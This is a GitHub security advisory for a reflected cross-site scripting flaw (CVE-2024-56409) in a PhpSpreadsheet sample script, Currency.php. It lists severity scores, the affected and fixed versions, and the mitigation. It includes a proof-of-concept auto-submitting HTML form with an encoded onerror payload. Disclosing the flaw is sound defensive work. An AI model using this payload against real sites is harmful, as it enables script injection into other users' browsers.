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Security Advisories: GSA_kwCzR0hTQS1qMnhnLWNqY3gtNDY3N84ABC8j

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Unauthorized Reflected XSS in Currency.php file

Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the currency variable
Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack.
Strings are formed using the currency parameter without sanitization, controlled by an attacker.

fig9

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Permalink: https://github.com/advisories/GHSA-j2xg-cjcx-4677
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qMnhnLWNqY3gtNDY3N84ABC8j
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 5 days ago
Updated: 5 days ago


CVSS Score: 7.1
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

EPSS Percentage: 0.00043
EPSS Percentile: 0.11007

Identifiers: GHSA-j2xg-cjcx-4677, CVE-2024-56409
References: Repository: https://github.com/PHPOffice/PhpSpreadsheet
Blast Radius: 30.6

Affected Packages

packagist:phpoffice/phpspreadsheet
Dependent packages: 1,063
Dependent repositories: 20,090
Downloads: 207,795,055 total
Affected Version Ranges: >= 2.2.0, <= 2.3.4, >= 2.0.0, <= 2.1.5, <= 1.29.6, >= 3.0.0, < 3.7.0
Fixed in: 2.3.5, 2.1.6, 1.29.7, 3.7.0
All affected versions: 1.0.0, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.7.0, 1.8.0, 1.8.1, 1.8.2, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.13.0, 1.14.0, 1.14.1, 1.15.0, 1.16.0, 1.17.0, 1.17.1, 1.18.0, 1.19.0, 1.20.0, 1.21.0, 1.22.0, 1.23.0, 1.24.0, 1.24.1, 1.25.0, 1.25.1, 1.25.2, 1.26.0, 1.27.0, 1.27.1, 1.28.0, 1.29.0, 1.29.1, 1.29.2, 1.29.3, 1.29.4, 1.29.5, 1.29.6, 2.0.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.1.5, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 3.3.0, 3.4.0, 3.5.0, 3.6.0
All unaffected versions: 1.29.7, 2.1.6, 2.3.5, 3.7.0